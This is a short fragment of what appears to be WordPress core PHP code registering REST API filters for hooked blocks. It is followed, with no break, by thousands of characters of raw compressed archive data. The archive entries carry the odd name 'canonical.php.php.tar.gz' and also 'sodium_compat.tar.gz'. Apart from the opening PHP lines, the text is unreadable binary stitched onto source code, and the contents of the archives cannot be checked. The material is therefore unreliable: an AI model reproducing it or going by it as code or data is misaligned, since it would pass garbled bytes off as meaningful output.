'_wp_register_default_font_collections' ); // Add ignoredHookedBlocks metadata attribute to the template and template part post types. add_filter( 'rest_pre_insert_wp_template', 'inject_ignored_hooked_blocks_metadata_attributes' ); add_filter( 'rest_pre_insert_wp_template_part', 'inject_ignored_hooked_blocks_metadata_attributes' ); // Update ignoredHookedBlocks postmeta for some post types. add_filter( 'rest_pre_insert_page', 'update_ignored_hooked_blocks_postmeta' ); add_filter( 'rest_pre_insert_post', 'update_ignored_hooked_blocks_postmeta' ); add_filter( 'rest_pre_insert_wp_block', 'update_ignored_hooked_blocks_postmeta' ); add_filter( 'rest_pre_insert_wp_navigation', 'update_ignored_hooked_blocks_postmeta' ); // Inject hooked blocks into the Posts endpoint REST response for some given post types. add_filter( 'rest_prepare_page', 'insert_hooked_blocks_into_rest_response', 10, 2 ); add_filter( 'rest_prepare_post', 'insert_hooked_blocks_into_rest_response', 10, 2 ); add_filter( 'rest_prepare_wp_block', 'insert_hooked_blocks_into_rest_response', 10, 2 ); add_filter( 'rest_prepare_wp_navigation', 'insert_hooked_blocks_into_rest_response', 10, 2 ); unset( $filter, $action ); PK $[@Kq""canonical.php.php.tar.gznu[=w6W ʩ>l7mw*4q6Kon/"dq# IY%:޻W׆"`0 i>\Eq5GzE^Vq>gբf2`gyY1]>}AW~7~ߢ[U\@}w c=gOg4Βg?ErVdy|\%T:%OX3^Yӥvؤ8*s]2vNI^9[V}p'٘ kC\c_T6E<~_ZXW}=VP s@!^%vr(/؏_ >/ӊe1fO.ӌlge@ED8pPǼWg*GPI:nVjVSNM^\Vsf8Qٲ2_U4X}Fm!510 0(4++Ck5SXNš PErYpM~"S= 0:j1*T&ZdU߮~3&vr+a{l?uj\(ֳUeELI< dY4yvyF'_H"3htW2OF :ث k$]naL"$rCNIE~7G pQQ7dn4!e⾮Ab=YfH @C-g}*q蟣-@)y-ޜ듿x|WO_{Q\u{Y sx5Q!yeO#|/1'ܷ-~ #JS KBm rA,w)PX9CI"B]$`(VilHNИ1a5;DK^ ڎbF"QĆ!BG0)e WS⽍d4ABBq/ɵTƈT#g4(oi=2$ahalixi0i(,~%ST17Sۑ\Z'KL'):UFa y!@ e:KԜG8IH.^Ġ\@y9Y4Ep0C06S*͋Դ X&|$h,M1w-iԅoR)0a2﷑/*w~ WSkX_,fa ꓆b +RQx@'sQ. %"9L94E P`PcPAm`/x8ϯHg&'Z6OY$`/ kX| y +n!b4d1Q`D7O>r&Ei/G1E+JJJ9ѨDQ+Z?Vnp\? bku.!$YKyPP UG(z:n^90DP0;V㈜@FP%R.)^ sTQ#hx/[> zA?dOns s#L.;{~"sAAor9B4˔%h߱X(Pi=¡yUwk̎7'/N3߮xį³ׯ~u}~z~>wݸ5w*@}L;EPjE8J-A%d5N+D*Zo]ݺsfF\ [{d;A@F*2DKed3ΞPcy?4b$f@~mgvZ[Ro.4Oʐ>4~dЅ&APsAY+3a; C~Lj~^Rē*bwpZ&#Rm'.`#` zz-\_,x9k*5. UpzXځ~Wֶ!SԦv2 S迀 hmFqՍOaMzγYZi2A@tx NΕ^t-R*Lx8JT`a=FZ`d-Ԍ =ugTuGOŸZcjY ArXk۷U6nmtN4-`+="Mg !hʍ%b/ ^9OE%z+ N2, ,6ޣ%Fχd)_XJz|YAq@Oe鞒/kWDnu;~-1JjHgmg UZL6JR\ŭtsI2-豩QZ3ޑ^xw=J"x"3`5UiRWɴؚf$?>l⥈aD`f"yH$-㤔|MsS3,EI3mX[CDi.jg#PA3ggl з@14KYNaaOd`dsڎL+&\_ƈ0p 7Ȑѿx=HC6UZgӵ n՜&~\4;bmŠ&) TE Gg@DT~MJðN MkM+͖AZ:nf`M:5Nϡ}pSH%iQ Mdh$.\{SoKʐԟ4o=(la$"Ecฯޟ~r @TZD> irYam5ߴvq~'Az7a_> >svq>zb i612_Ysb@>002/M$N|i=2sЭJցNR^¹[Gժ04"qvGM'~M~Q l:b_=4TrGݔβsnVc ڴD%Ħ?ŰJig!b)Pd)TdS/cf,ǷnZ .cfJzcj%^J`Z-5[R*5"ShM1ѝ ״G]ɲ0][a`4 I51@9n"y_7#gEN,JZYM>ُ`_ 05Y4*n8.֣WP;K=oފ>kf~a<4q,ydӠd`ӬCڧ<WfatW7wYg "zܺZP%4]zRhwWY 'EQӸ$nQ׵O GR 7nܛǣESQ YWofz)]xjJUe9iZլM`;o`΋jwܹC5 {-yWFl`(!FDzޘ5^kcdu#b؆5qN4 Y `+ܔ2Y7H#Vbُ3rx`lAG;MQ7E2AړP!?|uLo=FlpBP!UF:7D;nOht⡆1!mj;7{8ơlԺxmHe+O嬢Y\+ǝ칚Ê41֦b/K2b[KB݅DĻvȘO <|qIwo0FwxE<.ɒ;,4_bH,JD;Է9q6*u ?R`qH{6|g?uopa*~ AI >] -X "miRk1;儜j*| qޗ•?2/P2XdED䆼S2c8R$*}~˩^/ QDx\"7I)8@ >* Ni]}4~=2q< =J,oex(Ouޑ-!/ŵukQ II12F;]T@6lE^Y]8,^ }^fGC@`/++qb g #YrXxKpg ,`鉮z56ȧ=:Bh4WBW (}*`,#;iS%32 ףj H+MEE\AeQ N j,&Ֆhd k^ⳓ8s!^o B aUy&Tc'5CɘqGVZWگhV!B{fLuP}w#XYP])w{ż˺/ú.7]P#ըzHxU[uN:j:N6T?G:1ɟ9~WhM\f.`Mxffx#ZÍ $ڳ6+<KQ8'i}L( ^7=|?W) tDf#% kaD;Oծ`/f t/w]>:5[j&P~Y_D`k#c)/;wƽ3Iר^7d<]uA^?yKP-ۄ/!uƬ^ PPHKoz0fiUʙ0=R^Amˤa"`ҲYh1}Ք^Pց{R,O@mpVWx`ZCUD1ĕ.ǀ%dzEo\} E]p(qиٺ'7&Hح)KLbڙG{Qf6XU(k4B>0Q5Z:H'5)lâc%3o ҿ›3!"s7ϚIKtzgS!,6EN-o^c vK~1C*tsyEV.Ath2zlKo;Np_,E8.. 6xtVrYM""[uzPN5v]ž7WshblyKw'Wt'8ɤ\ |$| ׶G]ʩY"=p:֪+ 8bdvECSwuf %`=;=TXE(on&9Tg9 al*4r&i[[B1|( %Kt{Z*vx0Ǚkr!w`9<(ɲxYR60%.>p=m$KRhJFƼSF.mjfaeԋS@ڀ(k)<}Id},#52; РWwy+չ[|%}eΖo-knsK. jIͭ cGgS0Rr 8glIZpAHhIJQ?j/<#hI]Iv>[;b?;AW'(8OnG\k5,Ai6 Lai1^`Cg8 q 2 H,{4JhT:}:YxpN26t@wg LXGL>Z熑vڜ^D{c>yC` =J軆*pV׶8"!m_=km t1.%c~?-%o}㉑e^OzD]$Rm8yML8n:5?՚R_TmnH$#Ԝk(7%1X ͅs R}G-)l{J4h=pOW=E &ua@%նPFOo P> 4mUT쒅Y,|}24z` ge[qqO>|Xny:N滄;Ԫ!ºAdA&&@J%fy\$5AVdkdvf̅/\P[M 1J܌޼ b!fMj((%R+ Grmz/ X./<[Mߖe^.5R6Uc=V$)$^8 f8GJSqZU1vy&lGr䊲є:qRC()B$.-ȋ ҫpab@UUBp^&c BлD1 :bUZj =N$ .qP٣aPDn4:omkO~o,j@CRp;}h8ISW3\F jz"\22sLL%#qÆ @oTLNa/I%myҎ=w-Y6xO1 ,í`bX:ǐ=m!)-+S?X}j*gBOZVlġ:澆H͐xV')3SJ= Dʵ銈&]dc _rö]k^!3@Zy͵>VB4Чf 5RYgUj= J5m2lki :D]_"yM]Ѫhǻa\t"\؞ xyQ-GSa-mm$V`7Yͧ? imW!D`AŇh9`2߽V].Gy„ךw AbI\)4U\Srj?~Qg[>T=P=Z'Vq3[-hQqzr`M{]zsyygey\_fR@L|@Ìd )f'4BXW g<}GlBsOy`'/2Ejy-[d{U9"}4HԬMoLhhGYLO``~LnpM/h3k&UmgQ*v$Q{U Vq IoʋZK?A& Kut&yV*=!Ijr vÕ5-e%ynwm.ͤ8ّo{`rOh{~eB{6x8.xV-_A 3Nh$%,p1{L3.|OYpRM֝tLwJẎ] L iHgk+L`L`0$~o A䛡M"%) o?!=P Vg1ݏc󞑂s#߸N'ec?!|2ƾ;B xJ6Y N<-fSVbtBT%o+ (ٙN˓7ZwC׆>8 Ktǒbz4DP]^kvS=~9Yu0$ٸ֛5͇M0,)mVk͍: d]=S|ߘIOHՍ5(IΙj1.ƅlX[<z|{Fc6hFw=ydA%&jD?]:m 3D 1?A3 䳩&ڒhIFmL i eD"j_Aıi#t#tŚA՞%c3y"W(<k2axLw;k:0/FG# sc!,jȟ-ɌDmO'K)}:Ewz8R|$[=a=) Cyn% &qo@Q;~i^3yC(y`?eqB~4 'ݺ:~& tt8á-W{)Y_k^._U L醞89& ɘCڲA II{4̟XyNo#b58ֿul'p˳zaj?h{ךU )Nlé&ٖ@R.IA-NjEb+Ф0d/^d}쬬eʓGYL+nϓĐI!3K˂lFۺurw])(PK $[@0nnsodium_compat.tar.gznu[]`E֦svK$dK qk\;q˒,ɎQ8z׃rk轷wήv%Y;(H3޼y͛7 :gFR"蒂3b5l-f_D{6#%3HrcW~f͑|„40KhK"S~Eum?u0C<30 ,}&)UM 2a9mo&sJݡ$.@ƅhdH$y ӄdTeBPјO(ťKF)w9lhxߧ̘1cR ޓC. %{5 &$IGB3'$ba?(\ %R|J`+F)DO2Ŷ%ٳ**1ؙHҟ9IDONVDTNΜ)E23lVa/X\ ρs2.eZ[?F8MCT^**e)GNC!" ',)(`Jqe;NHrLTĥp )Ct&#TM +I $=&"oRL|C0MbR$m(:VLC553'_x(7M~D:FWAs t* P:L%X(SQzg~Ap Oon#řޕ`$ȏ`c_.PQy 5@܄ҦƖIyI.wei}n{Kys:;M_Ks쀼ֹ_MCI͗]ZU"aklmNhz]"otfzV=UTXRfL]y]2jYܚJJ d=؜哤ͺ2ɖL \^l$2< )3YVeEͲBwdN6|=9H{.,_}g*H6dƉM0F[GP.( Tܘ!_LK[-%nѿT.sUОzvLt,A4.%]F6\$uЎ\jsJekh)?VכSA ?*-rH~oDkPE(C8Ucli^sUN#,]C W t)@08gOadoMJU2PGA~EYCP|G%P~bpS6Oݮ10pR$R ]/!?8-74*-H7l&DvP$yr2LP$)L CD~t9sHL*ǣS2"Eĩit'ONMD9wpY1&s<Ө4~Sf,ۉꕆs%- (YÑ5r^ \ԗsTY,gXγBfJgRwD4;:!P4%adϝ\6h?!뤤2H 1am~ZujMxYSRɥV\v@wd<wX֜8dL.傎(0LWa`iuI&- ҵ:g0P8G9 )6J 9m>wA蜭M=abH`աi7Ʀ6Z4 xϠj%8~SS2EG#=3&ER?d;p59 f2 9}yltKi̻5CFaxs W(GHPWo a!O5_ P3"=ޱQ*kA-(R`2szzxZ0 C+^\JS&2f=LgQ4Kð1 YHз~ wj#bP?n,qq'ۃذ5z-gfG c} ]&XETj*H$5F{RtSşԀ( u6ڔ-ONiړ+˜G2P%99Yr-Io O;H,3?%a[ #D82_7 E4;A72D26U2sbhbQ0WYC`ЈP#=Z XJ ݗ^XIKNQ&`\<BNȎ}X訔MeCdP %3J a e F+ enä=g0|US67V 8\n`hA:4cnlő*i 1$p6yLod;Ɍ΂ڵ2釙MMgh3S7s6 @0l!gGmT&"f2*m3sJcA oa1W,&e?;g8)2)1OKIa AYO9?\rdt;s RߵvGNޮB7tuT=ݔ5HM/2wt!A|I~#HHI0Mfp:+*O흝B\2yTTdIi휌&Ukz9M,U2ɣߔXq N _$DZbA:Gm4r}BaT>lreEA,i#?2Epcze1:<4ĥ-9#RqFy9a ,gkJa) 3XXjeBVF}Ê1V RfTAٱ?Fl,UGhJ#6Ut6sVu(L/Ywj>fO^B$*2};c#;k&{3i%v"lءÀT3[ɂ (O9A@gĘMdO,c9P _̠siu[:J`:Ehl鐴-Nys _"?$4IR\=hD< ‚P4cJgip3@.D- ȿ%ëhW_>2جW=h=5t6I75 {ff8[fv= `s$)%9̕8P?:"[hMY3*`$E3hŘF!|L}SXaQse*="fk>7vLZc~ Xow)a؇ME{n]k]6qv.:Dp D2 3k<&iʪ[sJu% ʛBzsv'&gfM:[\ JK[ MՕ%M]7azVv̚JJ;.(lnznZ7Nax&[fzvv9E[wF~|44˶YX.F82}x2a&䒙^E&cw{$iG:+L?>9y"3 \ZR[TZےQQ¿f|EEM>H83BC gge9-/3T7d*,o8YdBKIl}ݬ5f@SLNϢ kNvJ*ihvvOc+<P6Nx0k5sBȣln18?wRz?J(!e)}&ڜΔcAl9XO-&8Sl6'!H=IFI(ӤMVmҗeZȌ&M0ɑ[--UTyӚgP[_rP[d(E@w)i$-` d SMr Xy&1- G52nvN"蒐bM0ȓr &h nLLW`ZzC ;epXFIJBl0.MojB0,ie3"PsJS奵D' I! !Ȉ hReP"9c1(HZR!!b?cP iJҘ{A&8z\o7GllE;2ю v%kfɲ~IbVy Y`FgKi p&ВqŃ#XF{4`1%BXJE <9P膙vv JhBv *eS7ѸVr6u斴mٍʕ+RhfvnhcԬGF #gn|I!jh/$$/,ηY[l -WvsD~HlA%+twK@ Kb5unV2ˌkķ ^-RzaGg(z jdZa:c9Xвfx^ ΁r)mV7 ~jRKX\^B](;T\Rn).ɚT)`   ad;{&euq 7`s$)%9Lc%ЯTReXRQu͚Q5#h<Ϡc2'krHsQZYr ˁ\ٍI=R97sڈA;4PeTt]ea+R EdշTO&SU$[ݖRal[ JdP-WK_ XRop@vipdI]_d-@<@'R*/)_seuQTK*OҬkls%Rr3My*2LyL3B -uFOln(n&NC ?Ze/4;Lys+5FmzB ynJ3^tbR<) !e-o쏥-kBSܵ4e:rѧ PpsOVtZlVڄYKAK{P*e7ݪi n:xPf#,͂7Z֐(㑳dOn%#)䩏væ|q?cYl/^9\MChm)]"(xD^A(EXk64J5475W7ԓ m+~i4=LJf. bDrFWFgP+<3m& Nz~VNrsu9 Z']}nIs[/(i.o74UWVחԎ9 $%eecNM3jZjK*ǜb-wjtP٭,#ױ'Κ${Zi챧ł3! MHiU?Td,Ǵq\9|oYҒkYS]Rq1Yp 2oE9&tq[VF1]֖V`ȉ0bToy1-L㵾$oGPFO Xw6Kj9`I6pu@BMե(To,nDu{PW9ue (n./DuC]SV-rP1X%mcOuPPRI[f~aṊE놠-ۂNhpD&A!Y9GuPY^_T-o?ymD!.VZn `E떂&pYE\ַrƴp/uK޸\RtY7嘆Ʀj`ݒ#Jj+%M jsnS(Au{+nW;ҖcGn9 @u2X7FۺKsy}s5!s[H ;C)DbYC¸nf.!aC y瑣na\EZ7KKjKZk[8w W>x{U M-#m뾅JǺSh= nJ#nu!{n%u)]< U>NY2PO?00Ik)76W=i |̤5s7̴UpYVW\RYdU1x1 S$X]8\$W 97E )W恁$ptuvߌ30zbx΍bًUr6ub$V @b$9Hؒ 5<HR$Gj ))H)-<HR8<X$y!/I>H@z $odqF ]|HFOD$I@G"0$@`|HP$,@bB@ N4E >~$,V4Wk 3x!X'?u"X?w@bB@ a GHQ$֨(DC aN/vE aO?| -@†$Lh(tpC aBHA\vY@vv"$l3 ۉ@H I @? B @2d f35  H,RR$H@bA aE_VTF aAGA"0$y/I^I@w8"6$y0H,9#0HLdG HD! 0!7 " 11H PyU 2H$ס c8#0# [ x#JM"%/ cZ"# B 'g` $?$qE IHB$tqE ]HXU$y/I> @G8"X/ sE H&pG a@E 0; "0?g&+'E## #0+F >~$I(rH,RQ$@žN$ @:!N$i)F4pE aCtB aCHA\vY셆@xv"0$/ @HI> @G B @2d,f/E  HRR$H@b@ aFWfTpF aBG!"0$+I~I@!6~$ H"HLwdpG JD !3 " 51HlyHé#zV)F JG\^@$I@ˆ$l)@+5@–$i@–$,)@݂y,`$/$qD =HG_<$tqD aAT!".$$+I @b*$,F"H@€ $ h@`Hh$ @ŽN$ @€$V#X'HXwDG HEa & {B8!0$+I@Z8!X H H !q eݲ @xj"0$'/ ##Yx$$+I +=f.6X#_E$),v4F JI 0#+U* \HQ @_x#:$%+II@!䗶@ J"_@‚@ a3HX*@†$l(F )Rɱ;"U *H,$ǡ [x#' S #HM!"0%3 [Z"0' B 'g` $/$E I<HAO ,$/I@€D ]HH_"UH/5 HSQ$֩@b$Ŋ@b@ aF/G N_@byH,P$ ? " @˜~$ @Ž$@Zx!X0H @šn$L)k.떽H_SpF a;1HD #a|HGXAq73wH`9#,rF Faa 0;EJ  |H,RQ $@Š $,(H$E +i|HNG$E9#0=g @€ $(&$F aBD 0&3":2Eex#X%#IC/ $pF aD GF ɕD aK _ƴpE aK GN n<0I~H@8"$#/I@?8" HH_|$qD J_@b$L@€@ a@w4pE a0~$LV4OG aG'pG a@W@b}HP$,; "#X0HX =!H$tpC -H,R$h@†$@†n pE a<5\H _,<|$w3s d,/X"_ ;x#XH*@Œ $̨@„BD /aHKW$C ?mHK[A X%/ E aAA $,@b@ aCg6D kb8#29aDN:ex#X%#IC/ $pF aD GF ɕD aK _ƴpE aK GN n<0I~H@8"$#/I@?8" HH_|$qD J_@b$L@€@ a@w4pE a0~$LV4OG aG'pG a@W@b}HP$,; "#X0HX =!H$tpC -H,R$h@†$@†n pE a<5\H _,<|$w3s d,/X"_ ;x#XH*@Œ $̨@„BD /aHKW$C ?mHK[A X%/ E aAA $,@b@ aCg6D kbx#x @rE^W1pG HO^H$lI@†$L)@#5@”$li@”$ )@݂y,d$$D =@78#.$y'  $tqF #a|HGOTqF a0z$(G NE! X?u"X?o++5 H: |H,;G LB! 0#$ (kT c"!0' ;B"I>h@b@ aC_&4 k:!0! A[C a;;|HN _pF ac$ $E a܅G y@2@Œ$))V$E HE / +*x# HJwR$E ;iHNGV$I@`HPP$L&? 2#X$H @˜$Etj$ @b$H5HR$Wj -)|H--HXR8<X$!+I^H@z#,$y+I@‚BD #]|HIW<*U|HX+E#0!; * H9#0Y<H,H \H7sG NB #$,@b@ aM7pB aHW< $/pB HKA 0+ #0 B ˺e/4ƳpE aXZ X$? #0HP \H3 "H Hy#X?w$ 9@‚$( DpC aO'pE 1#BD -H,R$h@†$@†29S7]pE a<5\H _,<|$w3s d,/X"_ ;x#PEB aFWT 3*"03 : $F /u\HKW$C /m@bD$,F@f"# ;U" HQ $dYP$kGN%Œh<=RTw4KD(*_B~Bhɞ{rwr;(msT{^sJ41AuPYON=NJ0@8ǢHi[DuFLn\c5WnLX< FNl%ub4=WԆe^&GqGm)|?2s@60jɽ1X5M%%.BJ+3 E8e&ٴe22ԫ0[Z2իXՈHJ&6V lu)ꕥeCjJ ;q)8jY pY@\NFs% +ekѱW 8BlqT:vE0[tdZ3~U^Vd)=4Q@:2:q*|fVK0 M?;m?TE#&:>W>׿+e;G}L8ln[8X|4?vLNs}S}4YZ:e޲ɚUc_j? L3<^0+1 >.ìd\3.ldXE^{yb6M+âZ8N5}g=*mq>=M-:d781 F?ߛ)A*|ny8<٭YV61Oɇ_W:)nS {>unmIM8Ϙ|F#Szl$3+XgMp?,TxԗI+qIqi,ꁌߓhG q}P [w2Ncc,>ֿ,\+>ֿ_k|,(Ws|'/ tJA: O/XYP:F;zP>쿃ǒw;}}ү6 ׿HtX|;TrUnnf 4)|v1uƌB3NQη;VVa$=Y/_\Iv딠8f8F(ta*w]r7zP7>;ʽFɝP\dy ̊"Ţ9 d&0?]]Ebs(¸v$+f]vٕ]{eG:ҼJyj,cU@bu2U3؝Z6F8oTG<ڭ-qVt)GkwmڭxapdYDo^Er"1ଶK; 6ћYt_W9g]-:ǵ.;u] oKVuE!OHu(G8Mcץxk4 +.4U-6x5]{gqnKוTi<@<ƢE9}] tITg 򾥑 ͡XU ˽>^g,>#?hATȼS]qncx=7 c{?c'ґqP/2^k;?ѭ$?zl|GȼS?n63_j|j|-' `v3#okύBc4@/$%ڔ,fUr3Q.KRTdnOyLWcFu*:|< u6©mLb p$̤ƜT*zBs*%_\^ ڒrGg؉:MtF@iIәH9o۸l;d)2UgiWV&jw.V,]xG?r~YZMz~ڽv6E?4t(LCLv8gCbV%5V臆.1gUx5~bv:F?R(ZG?R(F?,u (dٕℌ*V^LaeW0ASThWJ֯^^;jl(*Ep|W'.M9QcA)_f\ K43N3q glnN^Q8Ab7a@I"%Q%7ai!b_n0S{_]7n{Y`5 n0ݚRd:L"ʙ&3y(HŬ mA~:c 3\ܶEKyΨnzf[MB:~*ZƊnVUYV,3=rVM:O)d$w8"D8te,{ ir?[ج Xkn +bXF1%v8`sƔw1%+^)t夒F2WǘR*3jSJ'PS1icuzu)igHƔ1Tf:W\-busp)QjS⍭*|(^"AiXa!>;DCLisxMFnOZzB[JI%펑SC6GqO8aZπYި0c81v:DUTpv;\. nw R-'7Dg]wOg1P7.EMEظ톝*-D#;hUoة4됿ȃQ,a3w``"K~_#+EH ~Pf=hHJy9xdJrvr_ќ'CW8 ۭ̭0.$@9d8j4ά^!SaҙGE; xf 0Y gZt*=@wXfݠE7{yxڔʄ++=k0MqE9!shaN(dAyC)`ܠ9#ALe4$l cZR9[BߋN0UxK dLyBa S~(3*DnH+F;u)(bqB .slp<.eArE(hVYCwv6$6 OY G04EdQ ^rd:ԡ@͢ /F]r")Rf1eHCсTf遒 &37l̴JD4(/ ~_WTVS% e"pda.@%hS-Ѱ=pD wY |B_qslÆCIT\Y2=WxC,*n #Pc1{&Z7ob !QUpy.[巜6X:dBn - \4/)M 2MBz:r Vvʛ{;hD{cQs#IU:uD:`~3"X<`!%gw&`-b鯜Cv04 H]ym# OopHo?I]@7OLo.onn_<*KͅW7Kp-q'.;俇KmDv:%XaܝWF H,ҹ;*Uu%Ň#vPZVS)scHH^2u`+MA߁mpб@%+]\/Bց>yD å]&Tv %GD/zΑFֈ<#>{H[HN-ZT-[K˪Zqõ6=m6YEL\6/ oN5zr, ۚjRtkjBb\#>hejoWg1:RTBQ\3_zy}]v -TRP\3'rhlh%;9B\ cd/yS"&Msv䞛ꋃ=hU-4/XZTZm yҁآz&+ _K]CBJV'4湡].=< +#5+s,&=E y+C.ʃEAV {}v"8#ڥʄ∏rNIYҫ) n8JshFH;$sL T`GVG{'EСvZ؇@f oh&Wz\htSF}PXsHh{)^+'y&ʩ`c⚨F-Jp(XX3h3U]61)B:={ZNZ2FZYT;O^]=r+%$%Rs|lFjwrpkl'f=21GjHD ڶMκlJ{e<, t>J R+Cq%Rue"W̫)e\cM.śLm\zR܉Xsu!gE~Fv`PPLILaY 9 %X"nX}"*M(q9LH#ʍ*ǒ#%.qMZFNZUhWd t7E[|JܭnnFzABqNeR/k/D5O1>,pDdzX繠hΠ|@ފܤhCZyHolٮDJ$Yx;n⬠ jK : "ۨIJg"i B".,:?jYmO.Y/(7]X5;Xi}P?zh$VR꼸7≘ZFZ+_*z{imوv.vU\hbJ֡GNQ+`IP]\mɈKV5 %k5$,$בD I2[ :ͻ^0>3ߓ&Y9yΪ>2RټROim\ĺTQ][ d]W0-#!Ш 7M*XjHOiЇfjq_oQe3x58򪬮 +D'z~̏`E⪹%2\.dJ,DI,HоX͒ CU6u"aC%:;N-`$Yr]ݭ5SiU6KKB; K|Bg("YPKu9].c&/қ[pW䏬X!Oz_ɛ`3,'X4'խ5IY/'Z~fAOnttܭ=(}\j(|īQ 4@~"-h'4P\ %C(v"$:[j6[hڻy-MV!,`}) Pz|B5Tj[e jnUH֥ EՐ3հdSCX(k=6}wyR^I%mERrF)w9rA=u! d5kK=@nI. u8AdnWT@bJ5Ŷ#!4rӡs"jܜF,[Z5_-Hu{e|:;J S\ Ўͨ]sOY,-z#vL(2Pv 2 T*hu ޚ)除J:.m rxQgRD7a9%cae zd3톱<8-c!+m.B[l ){J@\Ӄ#.Xl8A3 sH L.jR:rB+& *vqx $`81i1=oj(u;/%mh( CՋ^!,.YƆnqd}j`A$@OnCFQӟւG>5X4Q=ԀsŐGf>H^Q]SS_G4Dq-D!6n[:EHpnsLf`<< Z⼝N{OwZꗗ0 ˕ 1@g.Okw<@+CҔ}'# 1nYg#zp $'!S]2BfV]3y`/p l%BB[@xQE@o |ކǠoC6ejp>{|H.iyC ؚ i =[&Z`NFBVɨX\RBn. >x+  px\A$ m+fҁwT( cC$"[gbַ2H_]S}]*" `N8O(0Rb:sH.gGL鑨| m6 j/P7EGunC7uYf'IUBs@ }][K>K.]u4{G D17p(Ykf. ;mNdlIfK߂Cj!R}ua3M%*n?5pZgkbZFC:#$]xpGt t$>ТP I~iPn4槺6>5@964:xzHQڅUE]e4(iZJ2١IU:h'ڒBэuhA `tnLIJ8ϪNNs< :TEL Bg(sn0tdi)վdQHVj1;Rj+>u)QJ#i0yS.=E ]Ϊf%z .VruWn5=LrFP@F\(˩QuqwFPRkYpvjV9C2:ȕ}De7; [O|]M=|6bU͑IQV$((ozֳCsxAH4H ,:4bʃ A.`|6DEOr# Ȧ1 f{.`$6KNA!yMXסZ(+ 'V1U#BEP805l!4@!  ϻgh=LQ=az=*/uh.BoA,r2ij1lJ1*iJ=#Btj0>Q,)5C3K2]{ ,`.zm 8@_c vDS"Q;"1<. AYFYZ,6+1bML_Dm\)"}`PB0^T(yOV=i(+w$ @decP%6sCb6R6Mn1H8h~a1мBae Mz9t`sB<4>WEIJ ovBTNȺD3G< }0I+tGRW@B !Lc%Ԙ_[IQ#Uz} ʥ3x!&3-;v8hr Pwc9\ + /DePB._(SIVn0O@#=}-QefSN'vϺȭNa&w굊bWlys'TFM| 5]/7dCE5?d<Z@\VNGpmƋ V`Ap3HGO n.^a1,SpP̣Y iB y-C< wJ7PL|trK؄cfI_2+师Zr@+vToчWڭzAo 4)qAESw[uLWXd#ZOQZd8NgT &w,RCTyfۃlftCmIsT'FM؞0D\G&:WfSi'05!ƎUz0b6NŅJ1FPS]8OQH}G^th;ɉPӷkZjPP*w"5 O[_5.)-},V:6.m*W>9" $%'ûZ$`u LKPf 4 ķD&2T%XE!zYzvp3F1";y4&ߌEj@99WlJuToZSILJFi $H(R]>Η3M٤i0U}:zxruA\$oFꪊ(sj)‰nq#%qɦS2"iHbc)RIxwt\La+WDֆ<(Z$dp6n?0(}Bw2rxcdf ) 0$J)K'jӭ\(nJ߯ \G38#n5xR0`4gajeLЯP7dhіD|)%fT(5FB[li= TA0h3mLnt{̞"H2<ԌT&xOBaGhx<M^ZF'+{n*Ws;Rz.jIVx_Uw9>>'$L˕9UDl;;C>GvZtfwz^a~S"4_nJ%>2ch| pP@)x iZifqit~Zk} StӵF[j#0SW fب=T&1kbR<|eQ6j=A[ \nJEeFzO1awh1".&i0deLq?4:Icũ_bU8ptڰzL$xc>DHƓXLOQ*"QQ %-U z`l zy:AytOh+r\ >x_[>Xk8XC CA \BUU9}B=RNAn=*t\8-PkԹeK*j!k Z/KH჊P>!V]G]`m%t|-Q_dfjm]dfOH *bH%d•*k2c ΗaQwK}s, n‹U15QS5'"f m(O]gmpO5t ɩG3 >*ʐ'inCKpNHEuQpML{]YLFL T}NPqMC=Tw>fe)-zqeŧֻQ3TAyR U$vr 6W@D.`pG: 5ajEmgNqzdTMCpPxj-4YEwjFjP- r ц }OKE{FR*  ~ JG.ܥ023ŕ**Uj&r[JA"} -="*48h|U]] Dϩ/z "KZD>}۠C$GBYg4M݁skY<-"(ogGCA} 봨\&U }!=e9z\a/]BDm,-U4v ͫбM"Iw)p_>A@X4Za[Z!,} wf<(6ɴ[chXf ~:Z\7Mfj"łg$V.먬!xWOOri X\v'+k1GdAaMnt]E@ӆh4tOa J~e~PE'EfGLJ`(IM?NRN~i&I$iUM`|KqK Yg Е/I |!q55Nr1$3"jf(PH᫽ĉKs twrTf̺*jEV&q%*R>>iXú5a};5)f8)aHH: {5Ro0:|+fj ZE֑k,oZH =]02RʥTi8Pj]>UmD`o6Ap|Ġ^_&A$4i$}ByY6`rZ.ӜVZtre) F6K9ǡI2"$n0)T,jXب\;G Q4eP$*9DN6$h?=7|܂W(ø=W.79V!VZ">B}F#bS,|BQl  9{Tpj$K^eGdP!(*í+C@q°nE@ƖEy(AA .upϺs~x+uh ? hl0.pAH9fSiNSk@? 8ŴXlk'7. i& D9185&8JȿOqA~N bXp±U" QǛLM'ThۅEo X @%$$P4of7heh(&%1EDӴaV]ؑh"mt)EQKD㼏t;D;#DTG"¾U#a@1)^JD+_X$It'<; 'TéSz4t6Sj/#j8O|KJ>YEV> ڨ:`pQXRE`̗M 갩A(H0~^ań hn`Umen֚ #P$zHVsji#cFSPAt0u U.sP%]e; DkF#%U|4rı?x*ȗGPhW٩jP,WUߊq\rG spށ*F1Ͱlc(4'%>@gz5ʧ G#55>6_N(Fφђ=72y@#i? x2!3^XE)mDkZ>YJ˃iSԄAQӭ*ucH$] QrLnt1$F0= tꑰ~Ձ@+ ^;l|x&yԮP6EA~dw)=Heɸa_ 4 f [3UDB5Zԥ:6 Sg"$Tz=í=0=ptDbcxp5.&Q>ih[Յ b4s ̌?tI HMZ 5>B8б%-v՞+hwHIw8R AԻEVkY54.(}wAAGEU՝K0 /Ks0`aʠ鉢Th‰hh)FTM5BR+T#6hM5Ms|B{ioJev>WhN%Wt~Tj%gT^A *Dt0'I=u>1:RT2{lJk MUYY߆~ 4 s%==Jayx w6(ڸGX\ǥX8Х\W%;N䫁c\/ (JT |Lriӄd<ԏ;J\<co\^p(8KPVB>EP#=vgOH.h(Z?,'xy傋멘=|pL#]P38ЋKiis:kv- OsB  U5}T6ԩfQ VPy3u\1@Rc > B[itWܻQu٢(7])8< ct ChgpTEF@7<qAD##P* JL)_Se;%ѡI¨RYudh\Q6$ ɋrBv:UŏmZ )4_mb+$y% Usew42TQLTzɭ+y7 [|yU:p a"=n5KbZA٢ 'OQ`и$k'4%m+6slD+] gȱGCM^p`WPͭm@"s%VWz>j*&Ynz֍TW[d7ȸ\TA.AdH:I xTp/mR*(篢k1هds;),T%WPۡ8"ZPՑ&ƕd+!gZfCrm8=C$x h+.J+|EbD8cn0,&cf[Ic'<*fuC gXmnAPB|m@ŷSD&InZ,T} eJ#̪Y3GxWZu[h}[rс&QDŧK踵Fݗ4N!:@>4MiQ-Vi>?2ZIW\i.J. 